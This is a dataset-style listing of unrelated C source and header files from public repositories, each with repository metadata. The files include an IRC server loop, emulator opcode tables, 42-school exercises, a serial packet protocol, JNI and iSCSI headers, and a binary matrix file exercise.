/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* check_norris_loves_the_norminette.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: chuck <chuck@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2042/02/30 42:00:00 by chuck #+# #+# */ /* Updated: 2042/02/30 41:59:59 by chuck ### ########.fr */ /* */ /* ************************************************************************** */ #include <time.h> #include "server.h" static void read_fd_isset(t_server *this, int index) { if (index == this->socket) { server_accept(this); } else { server_read_from_user_socket(this, index); } } static bool find_fn(void *data, void *context) { return (((t_query *)data)->user->socket == *((int *)context)); } static void write_fd_isset(t_server *this, int index) { t_query *query; query = lst_find_pop(this->querries, find_fn, &index); if (query) { utils_printf("Send to %s: %s", query->user->nick, query->cmd); ft_putstr_fd(query->cmd, query->user->socket); if (query->should_quit) { user_exec_quit_from_query(query->user, query, this); } query_del(query); } } static int server_select(t_server *this) { struct timeval tv; time_t t; time_t i; t = time(NULL); i = 1; while ((t + i) % 60) { i += 1; } tv.tv_sec = i; tv.tv_usec = 0; return (select(FD_SETSIZE, &this->read_set, &this->write_set, NULL, &tv)); } void server_loop(t_server *this) { int index; int select_ret; while (1) { server_init_fd_set(this); select_ret = server_select(this); if (select_ret == -1) break ; if (select_ret == 0) { server_ping_timeout(this); continue ; } index = 0; while (index < FD_SETSIZE) { if (FD_ISSET(index, &this->read_set)) read_fd_isset(this, index); if (FD_ISSET(index, &this->write_set)) write_fd_isset(this, index); index += 1; } } }
5c5cbee602bc252c58e4ba0fc580c62b23dab7fc
56728ca1ee9f571235723a68c658f94ee8aebb88
/i386c/ia32/instructions/mmx/3dnow.h
9981d74ee0fe184a1e0471ba4c6478e921ad435a
[ "MIT", "GPL-1.0-or-later" ]
permissive
libretro/NP2kai
4b5867622a790649840bc62ce751e762e4c75e74
749d88e5a49c625a340275a9eaa33830f1602bbb
refs/heads/master
2023-06-10T03:56:51.304948
2023-05-28T04:00:22
2023-05-28T04:00:22
121,966,104
10
16
MIT
2023-05-28T04:00:23
2018-02-18T15:56:05
C
UTF-8
C
false
false
2,457
h
3dnow.h
/* * Copyright (c) 2018 SimK * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef IA32_CPU_INSTRUCTION_MMX_AMD3DNOW_H__ #define IA32_CPU_INSTRUCTION_MMX_AMD3DNOW_H__ #ifdef __cplusplus extern "C" { #endif enum{ AMD3DNOW_SUFFIX_PAVGUSB = 0xBF, AMD3DNOW_SUFFIX_PFADD = 0x9E, AMD3DNOW_SUFFIX_PFSUB = 0x9A, AMD3DNOW_SUFFIX_PFSUBR = 0xAA, AMD3DNOW_SUFFIX_PFACC = 0xAE, AMD3DNOW_SUFFIX_PFCMPGE = 0x90, AMD3DNOW_SUFFIX_PFCMPGT = 0xA0, AMD3DNOW_SUFFIX_PFCMPEQ = 0xB0, AMD3DNOW_SUFFIX_PFMIN = 0x94, AMD3DNOW_SUFFIX_PFMAX = 0xA4, AMD3DNOW_SUFFIX_PI2FD = 0x0D, AMD3DNOW_SUFFIX_PF2ID = 0x1D, AMD3DNOW_SUFFIX_PFRCP = 0x96, AMD3DNOW_SUFFIX_PFRSQRT = 0x97, AMD3DNOW_SUFFIX_PFMUL = 0xB4, AMD3DNOW_SUFFIX_PFRCPIT1 = 0xA6, AMD3DNOW_SUFFIX_PFRSQIT1 = 0xA7, AMD3DNOW_SUFFIX_PFRCPIT2 = 0xB6, AMD3DNOW_SUFFIX_PMULHRW = 0xB7, AMD3DNOW_SUFFIX_PF2IW = 0x1C, AMD3DNOW_SUFFIX_PI2FW = 0x0C, AMD3DNOW_SUFFIX_PFNACC = 0x8A, AMD3DNOW_SUFFIX_PFPNACC = 0x8E, AMD3DNOW_SUFFIX_PSWAPD = 0xBB, }; void AMD3DNOW_F0(void); void AMD3DNOW_FEMMS(void); void AMD3DNOW_PREFETCH(void); #ifdef __cplusplus } #endif #endif /* IA32_CPU_INSTRUCTION_MMX_AMD3DNOW_H__ */
9bd8dfe56c741873ddfec462163f80687641ed64
09d236aa752c888fb51ab70cbebb658b188ea853
/c01/ex07/ft_rev_int_tab.c
0631b83fafa047321172db015e19a7c42f0a723a
[]
no_license
umaandressa/Basecamp
9fc2d0320f65f690a0f3ec55788ccc269d2e73a5
2ce8915f4f93cbd4753c9b3bb390a90e6dffe720
refs/heads/master
2023-04-18T02:10:13.135332
2021-04-20T22:49:08
2021-04-20T22:49:08
358,598,670
0
0
null
null
null
null
UTF-8
C
false
false
1,087
c
ft_rev_int_tab.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_teste.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ade-souz <ade-souz@student.42sp.org.br> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/04/01 13:52:04 by ade-souz #+# #+# */ /* Updated: 2021/04/04 00:17:31 by ade-souz ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> void ft_rev_int_tab(int *tab, int size) { int i; int f; int x; i = 0; f = size - 1; while (i < f) { x = tab[i]; tab[i] = tab[f]; tab[f] = x; i++; f--; } }
402fd0f2680b732f84c31c7de5c1fb5ec758dfd9
b1030135065bb12a646ce06494fa3ce30a06166f
/htdocs/htdocs-old/IMPLEMENT/Geizella/ATS/prelude/CATS/array.cats
58eb4ccf94f949d8dcfa66576681ff545d16e99a
[]
no_license
githwxi/ats-lang-sourceforge
4ee9174c4cc1dfaf088db8b0cbfc000cbdc9e8a0
40bb1819c34a469c4e99b7382c2bf5a4ef07a2f4
refs/heads/master
2021-08-19T06:57:35.010967
2017-11-25T02:32:46
2017-11-25T02:32:46
111,439,486
0
0
null
null
null
null
UTF-8
C
false
false
2,502
cats
array.cats
/************************************************************************/ /* */ /* Applied Type System */ /* */ /* Hongwei Xi */ /* */ /************************************************************************/ /* * ATS - Unleashing the Power of Types! * * Copyright (C) 2002-2007 Hongwei Xi. * * ATS is free software; you can redistribute it and/or modify it under * the terms of the GNU LESSER GENERAL PUBLIC LICENSE as published by the * Free Software Foundation; either version 2.1, or (at your option) any * later version. * * ATS is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * for more details. * * You should have received a copy of the GNU General Public License * along with ATS; see the file COPYING. If not, please write to the * Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301, USA. * */ /* ****** ****** */ /* author: Hongwei Xi (hwxi AT cs DOT bu DOT edu) */ /* ****** ****** */ #ifndef __ARRAY_CATS #define __ARRAY_CATS /* ****** ****** */ #include <string.h> // for [memcpy] /* ****** ****** */ #include "ats_memory.h" #include "ats_types.h" /* ****** ****** */ static inline ats_ptr_type atspre_array_ptr_alloc_tsz (ats_int_type n, ats_int_type tsz) { return ats_malloc_gc(n * tsz) ; } static inline ats_void_type atspre_array_ptr_free (ats_ptr_type base) { ats_free_gc (base); return ; } static inline ats_ptr_type atspre_array_ptr_takeout_tsz ( ats_ptr_type base , ats_int_type offset , ats_int_type tsz ) { return (ats_ptr_type)(((char *)base) + offset * tsz) ; } static inline ats_void_type atspre_array_ptr_copy_tsz ( ats_ptr_type p1 , ats_ptr_type p2 , ats_int_type asz , ats_int_type tsz ) { memcpy (p2, p1, asz * tsz) ; return ; } static inline ats_void_type atspre_array_ptr_move_tsz ( ats_ptr_type p1 , ats_ptr_type p2 , ats_int_type asz , ats_int_type tsz ) { memcpy (p2, p1, asz * tsz) ; return ; } /* ****** ****** */ #endif /* __ARRAY_CATS */ /* end of [array.cats] */
679fe0ef0b3ad44d2d7fc287b634896761613b06
f8dd32627e19c67504a319f735bd5d2ce09884d9
/snoo-cue-sensor/protocol.c
5e654c6f0a253b44798fc725b466eb2df38ff680
[]
no_license
adiog/snoo-abandoned-bt-cue-sensor
05945d292212e8d71946d0de9078c384e1203e35
3a3b11fc32b4358ff9301e943b30becc32724f0d
refs/heads/master
2020-03-09T02:25:47.403784
2018-04-22T16:21:47
2018-04-22T16:21:47
null
0
0
null
null
null
null
UTF-8
C
false
false
3,933
c
protocol.c
#include <protocol.h> const uint8_t PACKET_HEADER_START_MARKER = 0xFFU; const uint8_t HEADER_START_MARKER_OFFSET = 0U; const uint8_t HEADER_PAYLOAD_CRC_OFFSET = 1U; const uint8_t HEADER_PAYLOAD_ID_OFFSET = 2U; const uint8_t HEADER_PAYLOAD_LENGTH_OFFSET = 3U; extern inline uint8_t calculateCrc(const uint8_t *buffer, uint8_t length) { uint8_t crc = 0U; for (uint8_t index = 0U; index < length; ++index) { crc ^= buffer[index]; } return crc; } extern inline uint8_t calculatePacketCrc(const uint8_t *packet) { return calculateCrc(&packet[HEADER_PAYLOAD_ID_OFFSET], getPacketLength(packet) - HEADER_PAYLOAD_ID_OFFSET); } const uint8_t packetLengthById[8] = { sizeof(PingPacket), sizeof(PongPacket), sizeof(SensorPacket)}; const uint8_t payloadLengthById[8] = { sizeof(PingPayload), sizeof(PongPayload), sizeof(SensorPayload)}; extern inline uint8_t getPacketLength(const uint8_t *packet) { return packetLengthById[packet[HEADER_PAYLOAD_ID_OFFSET]]; } extern inline int verifyPacket(const uint8_t *packet) { if (packet[0] != PACKET_HEADER_START_MARKER) { return 0; } if (packet[HEADER_PAYLOAD_CRC_OFFSET] != calculatePacketCrc(packet)) { return 0; } return 1; } uint8_t findNextStartMarkerIndex(const uint8_t *buffer, uint8_t bufferSize) { uint8_t startHeaderCandidateIndex = 1U; while ((startHeaderCandidateIndex < bufferSize) && (buffer[startHeaderCandidateIndex] != PACKET_HEADER_START_MARKER)) { ++startHeaderCandidateIndex; } return startHeaderCandidateIndex; } uint8_t shiftBuffer(uint8_t *buffer, uint8_t shiftedBeginIndex, uint8_t bufferSize) { for (uint8_t index = shiftedBeginIndex; index < bufferSize; ++index) { buffer[index - shiftedBeginIndex] = buffer[index]; } return bufferSize - shiftedBeginIndex; } extern inline void shiftNoise(uint8_t *buffer, uint8_t *bufferIndex) { uint8_t shiftedBeginIndex = findNextStartMarkerIndex(buffer, *bufferIndex); *bufferIndex = shiftBuffer(buffer, shiftedBeginIndex, *bufferIndex); } extern inline void shiftPacket(uint8_t *buffer, uint8_t *bufferIndex) { uint8_t shiftedBeginIndex = getPacketLength(buffer); *bufferIndex = shiftBuffer(buffer, shiftedBeginIndex, *bufferIndex); } void processIncomingByte(uint8_t *buffer, uint8_t *bufferIndex, uint8_t bufferSize, uint32_t systemClockMillis, uint8_t incomingByte, processIncomingPacket_t processIncomingPacket) { static const uint32_t nextByteIntervalMillis = 10U; static uint32_t nextByteDeadline = 0U; if (systemClockMillis > nextByteDeadline) { *bufferIndex = 0U; } nextByteDeadline = systemClockMillis + nextByteIntervalMillis; buffer[(*bufferIndex)++] = incomingByte; if (*bufferIndex >= bufferSize) { shiftPacket(&buffer[0], bufferIndex); return; } if (*bufferIndex >= sizeof(PacketHeader)) { if (*bufferIndex == getPacketLength(buffer)) { if (verifyPacket(buffer)) { (*processIncomingPacket)(buffer); *bufferIndex = 0U; } else { shiftNoise(buffer, bufferIndex); } } } } void setHeaderFinalizeCrc(uint8_t *buffer) { buffer[HEADER_PAYLOAD_CRC_OFFSET] = calculatePacketCrc(buffer); } void setHeaderWithoutCrc(uint8_t *buffer, uint8_t payloadId) { buffer[HEADER_START_MARKER_OFFSET] = PACKET_HEADER_START_MARKER; buffer[HEADER_PAYLOAD_ID_OFFSET] = payloadId; buffer[HEADER_PAYLOAD_LENGTH_OFFSET] = payloadLengthById[payloadId]; } void setHeader(uint8_t *buffer, uint8_t payloadId) { setHeaderWithoutCrc(buffer, payloadId); setHeaderFinalizeCrc(buffer); }
e0624052bc190d3daa93ca28b9151e76c1febc31
f56c0595de4bef91481a610e5acc56a288a84080
/software/cordi/rtc.h
29e0abf30c06807afff5a8194cfa009153a51cef
[ "MIT" ]
permissive
mholtzberg/schranke
6cb134469eb34de49b84a57b929a21cbb4024519
a3b95a1aed1cb124014f7d58a99e893a32a0e27e
refs/heads/master
2021-01-25T02:30:28.366621
2014-08-25T10:27:52
2014-08-25T10:27:52
null
0
0
null
null
null
null
UTF-8
C
false
false
146
h
rtc.h
#ifndef _RTC_H_ #define _RTC_H_ #include <time.h> void rtc_init(void); void rtc_set(time_t time); time_t rtc_time(void); #endif /* _RTC_H_ */
bf8e0a30af831569a652d4ef8fa80083778dd39c
5704ae9ebce8468451712afa57fb3a60e822f790
/contrib/mul/mmn/mmn_make_tri_tree.h
0cc8695d5b366c46f1f2a43c6a65c2a6b3915f1d
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
liuxinren456852/vxl
2f65fcb3189674c299b1dd7a9ea3a9490017ea1d
fdc95966a88ee011e74f1878d0555108ab809867
refs/heads/master
2020-12-11T03:40:32.805779
2016-03-09T05:01:22
2016-03-09T05:01:22
53,484,067
1
0
null
2016-03-09T09:12:08
2016-03-09T09:12:08
null
UTF-8
C
false
false
2,214
h
mmn_make_tri_tree.h
#ifndef mmn_make_tri_tree_h_ #define mmn_make_tri_tree_h_ //: // \file // \brief Compute arcs defining a graph s.t. triangles form a tree. // \author Tim Cootes #include <vnl/vnl_matrix.h> #include <mmn/mmn_arc.h> #include <mmn/mmn_triplet.h> #include <mmn/mmn_dependancy.h> #include <vcl_vector.h> //: Compute arcs defining a graph s.t. triangles form a tree. // Compute arc of graph such that point belongs to at least one triangle, // and the graph of triangles is a tree (acyclic). // Two triangles are neighbours if they share an edge (arc). // // The approach is to select nodes one at a time, at each step // choosing the node closest to two nodes ending an existing arc. // This gives two new arcs. // // Complexity is approximately O(n^2) // // \param D: a symmetric matrix indicating proximity of two nodes // \param arcs: Output 2n-3 arcs defining the graph. // \param v0: If input as < D.rows() then defines one node of the first arc void mmn_make_tri_tree(const vnl_matrix<double>& D, vcl_vector<mmn_arc>& arcs, unsigned int v0 = (unsigned int)(-1)); //: Compute arcs defining a graph s.t. triangles form a tree. // Compute arc of graph such that point belongs to at least one triangle, // and the graph of triangles is a tree (acyclic). // Two triangles are neighbours if they share an edge (arc). // // The approach is to select nodes one at a time, at each step // choosing the node closest to two nodes ending an existing arc. // This gives two new arcs. // // Complexity is approximately O(n^2) // // \param D: a symmetric matrix indicating proximity of two nodes // \param arcs: Output 2n-3 arcs defining the graph. // \param triplets: n-2 triplets defining triangles // \param deps: n-1 dependancies, defining a way to traverse graph // \param v0: If input as < D.rows() then defines one node of the first arc void mmn_make_tri_tree(const vnl_matrix<double>& D, vcl_vector<mmn_arc>& arcs, vcl_vector<mmn_triplet>& triplets, vcl_vector<mmn_dependancy>& deps, unsigned int v0 = (unsigned int)(-1)); #endif // mmn_make_tri_tree_h_
6bce2c39251e37ad399b105e27c82af1d2335888
41ead5b29eda265de9c0bfbb130e4a297ca8f86b
/cs229mario/src/amico/python/JavaPy/src/ch_idsia_tools_amico_AmiCoJavaPy.h
81776e514308aa699a64d798e001643adb896590
[]
no_license
huiwq1990/ReinforcementLearning
82064dd21a6c1b8ba47bc67b2dc01aa7d7c6d2d4
c52bb654549df17a0436da1367b0504957a2b76a
refs/heads/master
2021-01-10T21:29:41.653961
2014-01-17T08:55:03
2014-01-17T08:55:03
14,012,777
1
0
null
null
null
null
UTF-8
C
false
false
2,303
h
ch_idsia_tools_amico_AmiCoJavaPy.h
/** * @file ch_idsia_tools_amico_AmiCoJavaPy.h * @brief JavaCallsPython main file * * @author Sergey Karakovskiy, sergey at idsia.ch ; Nikolay Sohryakov, Nikolay.Sohryakov at gmail.com * * This is a customized Mario AI specific version of AmiCo. * It supports the JavaPy direction. In this set up Mario AI benchmark is used * as active entity. */ /* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class ch_idsia_tools_amico_AmiCoJavaPy */ #ifndef _Included_ch_idsia_tools_amico_AmiCoJavaPy #define _Included_ch_idsia_tools_amico_AmiCoJavaPy #ifdef __cplusplus extern "C" { #endif /* * Class: ch_idsia_tools_amico_AmiCoJavaPy * Method: initModule * Signature: (Ljava/lang/String;)I */ JNIEXPORT jint JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_initModule (JNIEnv *, jobject, jstring, jstring); /* * Class: ch_idsia_tools_amico_AmiCoJavaPy * Method: getName * Signature: ()Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_getName (JNIEnv *, jobject); /* * Class: ch_idsia_tools_amico_AmiCoJavaPy * Method: integrateObservation * Signature: ([I[I[F[F[I)V */ JNIEXPORT void JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_integrateObservation (JNIEnv *, jobject, jintArray, jintArray, jfloatArray, jfloatArray, jintArray); /* * Class: ch_idsia_tools_amico_AmiCoJavaPy * Method: getAction * Signature: ()[I */ JNIEXPORT jintArray JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_getAction (JNIEnv *, jobject); /* * Class: ch_idsia_tools_amico_AmiCoJavaPy * Method: giveIntermediateReward * Signature: (F)V */ JNIEXPORT void JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_giveIntermediateReward (JNIEnv *, jobject, jfloat); /* * Class: ch_idsia_tools_amico_AmiCoJavaPy * Method: reset * Signature: ()V */ JNIEXPORT void JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_reset (JNIEnv *, jobject); JNIEXPORT void JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_setObservationDetails (JNIEnv *, jobject, jint, jint, jint, jint); JNIEXPORT void JNICALL Java_ch_idsia_tools_amico_AmiCoJavaPy_finalizePythonEnvironment (JNIEnv *, jobject); #ifdef __cplusplus } #endif #endif
e8fcdaeda6e7684e5de547f7cc15cdb6230a57c9
385f69c01293528d288973e6538a29cbc86ca982
/demo/TestHBKitDemo/Pods/Headers/Public/HBKit/HBKitDirWatchdog.h
69fc953ce5051c72455343fe4c8db001aeba5d8c
[ "MIT" ]
permissive
Natoto/HBFastTableViewCotroller
3265badc581702fc69fc68fef472b7f1404c57be
f228f0a5a03d5bb82d9f7ae2a37ed67bbfa2f985
refs/heads/master
2021-01-17T03:31:52.589235
2019-05-21T11:05:27
2019-05-21T11:05:34
40,401,360
6
5
null
2015-08-11T09:28:25
2015-08-08T11:52:04
Objective-C
UTF-8
C
false
false
42
h
HBKitDirWatchdog.h
../../../../../../HBKit/HBKitDirWatchdog.h
183a5e235fafea9527c1571d14bf83dfbd715310
7fc722d38cecc235fe17dc0af1c63f5dc2824102
/app/iscsiLib/include/idbm.h
47d1ae52752f24a9868f02f10747d2db8389b45a
[]
no_license
dongdong-2009/hikvision-ks5x-bsp
10179547ddacd5b1ff12f38c09dd1681109c2589
612a06092909e8437c9b0e220ae4f5c4b4c2b286
refs/heads/master
2021-09-03T06:18:23.387053
2018-01-06T09:32:48
2018-01-06T09:32:48
null
0
0
null
null
null
null
UTF-8
C
false
false
5,472
h
idbm.h
/* * iSCSI Discovery Database Library * * Copyright (C) 2004 Dmitry Yusupov, Alex Aizman * Copyright (C) 2006 Mike Christie * Copyright (C) 2006 Red Hat, Inc. All rights reserved. * maintained by open-iscsi@@googlegroups.com * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published * by the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * See the file COPYING included with this distribution for more details. */ #ifndef IDBM_H #define IDBM_H #include <sys/types.h> #include "initiator.h" #include "config.h" #define NODE_CONFIG_DIR "nodes" #define SLP_CONFIG_DIR "slp" #define ISNS_CONFIG_DIR "isns" #define STATIC_CONFIG_DIR "static" #define ST_CONFIG_DIR "send_targets" #define ST_CONFIG_NAME "st_config" #define TYPE_INT 0 #define TYPE_INT_O 1 #define TYPE_STR 2 #define MAX_KEYS 256 /* number of keys total(including CNX_MAX) */ #define NAME_MAXVAL 128 /* the maximum length of key name */ #define VALUE_MAXVAL 256 /* the maximum length of 223 bytes in the RFC. */ #define OPTS_MAXVAL 8 #ifndef PAL_PATH_MAX_LEN #define PAL_PATH_MAX_LEN 64 #endif #define ISCSI_DIR_PATH "/home/app/exec/iscsi/" typedef struct recinfo { int type; char name[NAME_MAXVAL]; char value[VALUE_MAXVAL]; void *data; int data_len; int visible; char* opts[OPTS_MAXVAL]; int numopts; /* * bool indicating if we can change it or not. * TODO: make it a enum that can indicate wheter it also requires * a relogin to pick up if a session is running. */ int can_modify; } recinfo_t; typedef char *(idbm_get_config_file_fn)(void); typedef struct idbm { void *discdb; void *nodedb; char *configfile; int refs; idbm_get_config_file_fn *get_config_file; node_rec_t nrec; recinfo_t ninfo[MAX_KEYS]; discovery_rec_t drec_st; recinfo_t dinfo_st[MAX_KEYS]; discovery_rec_t drec_slp; recinfo_t dinfo_slp[MAX_KEYS]; discovery_rec_t drec_isns; recinfo_t dinfo_isns[MAX_KEYS]; } idbm_t; struct db_set_param { char *name; char *value; }; typedef int (idbm_iface_op_fn)(void *data, node_rec_t *rec); typedef int (idbm_portal_op_fn)(int *found, void *data, char *targetname, int tpgt, char *ip, int port); typedef int (idbm_node_op_fn)(int *found, void *data, char *targetname); struct rec_op_data { void *data; node_rec_t *match_rec; idbm_iface_op_fn *fn; }; typedef struct { char aPath[PAL_PATH_MAX_LEN]; }PAL_PATH_T; extern int idbm_for_each_portal(int *found, void *data, idbm_portal_op_fn *fn, char *targetname); extern int idbm_for_each_node(int *found, void *data, idbm_node_op_fn *fn); extern int idbm_for_each_rec(int *found, void *data, idbm_iface_op_fn *fn); extern char* get_iscsi_initiatorname(char *pathname); extern char* get_iscsi_initiatoralias(char *pathname); extern int idbm_init(idbm_get_config_file_fn *fn); extern void idbm_node_setup_from_conf(node_rec_t *rec); extern void idbm_terminate(void); extern int idbm_print_iface_info(void *data, struct iface_rec *iface); extern int idbm_print_node_info(void *data, node_rec_t *rec); extern int idbm_print_node_flat(void *data, node_rec_t *rec); extern int idbm_print_node_tree(void *data, node_rec_t *rec); extern int idbm_print_discovery_info(discovery_rec_t *rec, int show); extern int idbm_print_all_discovery(int info_level); extern int idbm_print_discovered(discovery_rec_t *drec, int info_level); extern int idbm_delete_discovery(discovery_rec_t *rec); extern void idbm_node_setup_defaults(node_rec_t *rec); extern int idbm_delete_node(node_rec_t *rec); extern int idbm_add_node(node_rec_t *newrec, discovery_rec_t *drec, int overwrite); struct list_head; extern int idbm_bind_ifaces_to_node(struct node_rec *new_rec, struct list_head *ifaces, struct list_head *bound_recs); extern int idbm_add_nodes(node_rec_t *newrec, discovery_rec_t *drec, struct list_head *ifaces, int overwrite); extern int idbm_add_discovery(discovery_rec_t *newrec, int overwrite); extern void idbm_sendtargets_defaults(struct iscsi_sendtargets_config *cfg); extern void idbm_slp_defaults(struct iscsi_slp_config *cfg); extern int idbm_discovery_read(discovery_rec_t *rec, char *addr, int port); extern int idbm_rec_read(node_rec_t *out_rec, char *target_name, int tpgt, char *addr, int port, struct iface_rec *iface); extern int idbm_node_set_param(void *data, node_rec_t *rec); /* lower level idbm functions for use by iface.c */ extern void idbm_recinfo_config(recinfo_t *info, FILE *f); extern void idbm_recinfo_iface(struct iface_rec *r, recinfo_t *ri); extern int idbm_lock(void); extern void idbm_unlock(void); extern recinfo_t *idbm_recinfo_alloc(int max_keys); extern int idbm_verify_param(recinfo_t *info, char *name); extern int idbm_rec_update_param(recinfo_t *info, char *name, char *value, int line_number); extern int GetIpsanCfgDir(char *pcDstDir,size_t uDstDirSize,const char *pcSubDir); enum { IDBM_PRINT_TYPE_DISCOVERY, IDBM_PRINT_TYPE_NODE, IDBM_PRINT_TYPE_IFACE, }; extern void idbm_print(int type, void *rec, int show, FILE *f); #endif /* IDBM_H */
8fb637dcae7e0e6d74dd7cfae51ef88a41ef5968
ed933bfebfb7b587be8ab5920b9a99372da3508b
/scrum.c
d953a6b8f7d3c869118d376090f80f0555f0a7f5
[]
no_license
Yashvishnoi/C_PROGRAMS
68736165cc433f3c14678eecb5e17b0c2a68ca65
94189d351658ecf43d0314e135c66f4fa891b6b1
refs/heads/master
2023-07-03T21:46:31.632933
2021-08-12T05:53:51
2021-08-12T05:53:51
241,179,064
0
0
null
null
null
null
UTF-8
C
false
false
124
c
scrum.c
#include<stdio.h> int main() { int a,b,i; scanf("%d%d",&a,&b); for(i=1;i<=b;i++) a++; printf("%d",a); return 0; }
8335b494f5dd1a8ab29f60c23ad09f6265115f87
3401248db2c58994293560e36207a732c53b23cb
/ez_programs/task_5_&_6/matrix.c
edb000b7097806a3741f7db1df5544a75006218c
[]
no_license
punditjava/repo
6d30297a38612234dd0b1e91b3d5c7751cdfcf40
1c268b0f01bfb8423b63b02112d70637724fe6cd
refs/heads/master
2020-07-29T14:31:05.597686
2019-11-27T07:47:27
2019-11-27T07:47:27
209,842,534
6
0
null
null
null
null
UTF-8
C
false
false
2,720
c
matrix.c
#include<stdio.h> #include <stdlib.h> #define SIZE 3 int check_file(FILE *file) { fseek(file,0,SEEK_SET); char *matrix = "MATRIX"; char *str, *a_str = NULL; a_str = (char *) malloc(6*sizeof(char)); if(a_str != NULL) { str = a_str; } else return 0; fread(str, sizeof(char), 6, file); if(*str == *matrix && fread(a_str, sizeof(char), 4, file) == 4) puts("\nФаил успешно проверен!\n"); else { puts("\nФаил плохой!\n"); exit(1); }; return 1; } /*Создаю в фаиле бинарную матрицу с размером SIZE*/ void create_matrix(FILE *newfile) { char *matrix = "MATRIX"; int N = SIZE; fwrite(matrix, sizeof(char), 6, newfile); /* Записал в файл слово MATRIX*/ fwrite(&N, sizeof(int), 1, newfile); /* Записал в файл размер MATRIX(SIZE)*/ double str[SIZE*SIZE]; register int i = 0; for (i = 0; i < 9; i++) { str[i] = (double) i; } fwrite(str, sizeof(double), SIZE*SIZE, newfile);/* Записал в фаил матрицу*/ } double sum_main_diagonal(FILE *file) { check_file(file); double result = 0.0; int label = 10;/*Здесь 10 это размер слова MATRIX и его SIZE */ int i = 0; puts("Элементы главной диагонали :"); for (i = 0; i < SIZE; ++i) { double str[1]; /* Вспомогательный массив*/ fseek(file, label, SEEK_SET); /* Перемещаемся по массиву */ fread(str,sizeof(double),1,file); /*Считываем элемент на главной диагонали */ printf("%lf ", str[0]); /* Вывожу элемент*/ result += str[0]; label += sizeof(double) * (SIZE + 1); /* Ставим метку относительно начала прошлого элемента */ } return result; } void reset_columns(FILE *file) { check_file(file); int label = 10; int i,j = 0; double O = 0.0; for(i = 0; i < SIZE; ++i) { for (j = 0; j < 2; ++j) { fseek(file, label, SEEK_SET); fwrite(&O, sizeof(double), 1, file); if(j == 0) { label += sizeof(double) * 2; } } label += sizeof(double); } double str[SIZE*SIZE]; fseek(file, 10, SEEK_SET); fread(str, sizeof(double), SIZE*SIZE, file); puts("Обнулил элементы в нечётных столбцах"); for (i = 0; i < SIZE*SIZE; ++i) { printf("%lf\n",str[i]); } } int main() { FILE *matrix_file; matrix_file = fopen("matrix2.bin","w+b"); create_matrix(matrix_file); double sum; sum = sum_main_diagonal(matrix_file); puts("\nСумма на главной диагонали :"); printf("%lf\n",sum); reset_columns(matrix_file); fclose(matrix_file); return 0; }
eaff0a84361a3e7627bdc54a2a6c6639c6efdb02
69b96f181557286c1cbddbd1502848d6cc744a7a
/C/swap_sort.c
edf34a79eefd51817eae215aa3150f06410ebe4d
[]
no_license
WeepingDogel/drafts
1bfe2af41da17529ddefd6b810fdc7fe1a889620
f011af6ad31b7e3becc213f98999312160f786d1
refs/heads/main
2023-07-03T11:25:27.023304
2021-08-07T08:30:39
2021-08-07T08:30:39
376,811,396
5
0
null
null
null
null
UTF-8
C
false
false
876
c
swap_sort.c
